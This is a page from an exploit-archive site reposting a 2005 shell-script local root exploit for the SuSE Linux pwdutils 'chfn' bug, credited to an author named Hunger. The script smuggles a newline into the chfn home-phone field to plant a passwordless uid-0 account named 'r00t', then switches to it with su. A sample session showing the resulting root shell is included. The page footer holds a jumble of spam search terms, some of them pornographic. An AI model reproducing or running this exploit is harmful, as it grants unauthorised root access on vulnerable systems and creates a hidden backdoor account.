about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , SuSE Linux pwdutils "chfn" Utility Local Privilege Escalation (Root) Exploit



2005-11-08 SuSE Linux pwdutils "chfn" Utility Local Privilege Escalation (Root) Exploit
Rated as : Moderate Risk 

#!/bin/sh
#
# Exploit for SuSE Linux 9.{1,2,3}/10.0, Desktop 1.0, UnitedLinux 1.0
# and SuSE Linux Enterprise Server {8,9} 'chfn' local root bug.
# 
# by Hunger <susechfn@hunger.hu>
#
# Advistory:
# http://lists.suse.com/archive/suse-security-announce/2005-Nov/0002.html
# 
# hunger@suse:~> id
# uid=1000(hunger) gid=1000(hunger) groups=1000(hunger)
# hunger@suse:~> ./susechfn.sh
# Type your current password to get root... :)
# Password:
# sh-2.05b# id
# uid=0(r00t) gid=0(root) groups=0(root)

if [ X"$SHELL" = "X" ]; then
echo "No SHELL environment, using /bin/sh for default."
export SHELL=/bin/sh
fi

if [ -u /usr/bin/chfn ]; then
/bin/echo "Type your current password to get root... :)"
/usr/bin/chfn -h "`echo -e ':/:'$SHELL'\nr00t::0:0:'`" $USER
> /dev/null
if [ -u /bin/su ]; then
/bin/su r00t
/bin/echo "You can get root again with 'su r00t'"
else 
echo "/bin/su file is not setuid root :("
fi
else
echo "/usr/bin/chfn file is not setuid root :("
fi
securitydot.net - 2005-11-08

Advertising

Copyright 2007, SecurityDot
Wed, 03 Dec 2008 09:15:52 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
t451t naked chic Free mobil t576t Free mobil Www sex c0 php-nuke s Mana man to man www.oceanb Free mobil Sexeygirl vice theft Apache h h.e.n.t.a. www.lalats newsfilter www.qq1231 t243t Telugu sex Www,sex,co 200 /compo t243t Xxx+video. Www.bollyw mambo Remo t387t indianpass WWW.98.COM 200 /compo Www play b Www.102030 200 /compo sex movies www.worlds Imagessexy sexsigirl t279t t240t 200 /compo Www wepter yourpon.co nero 7.0 mambo Remo Telugu sex Foto2 Porn yourpon.co cexy barclays r www.sex.co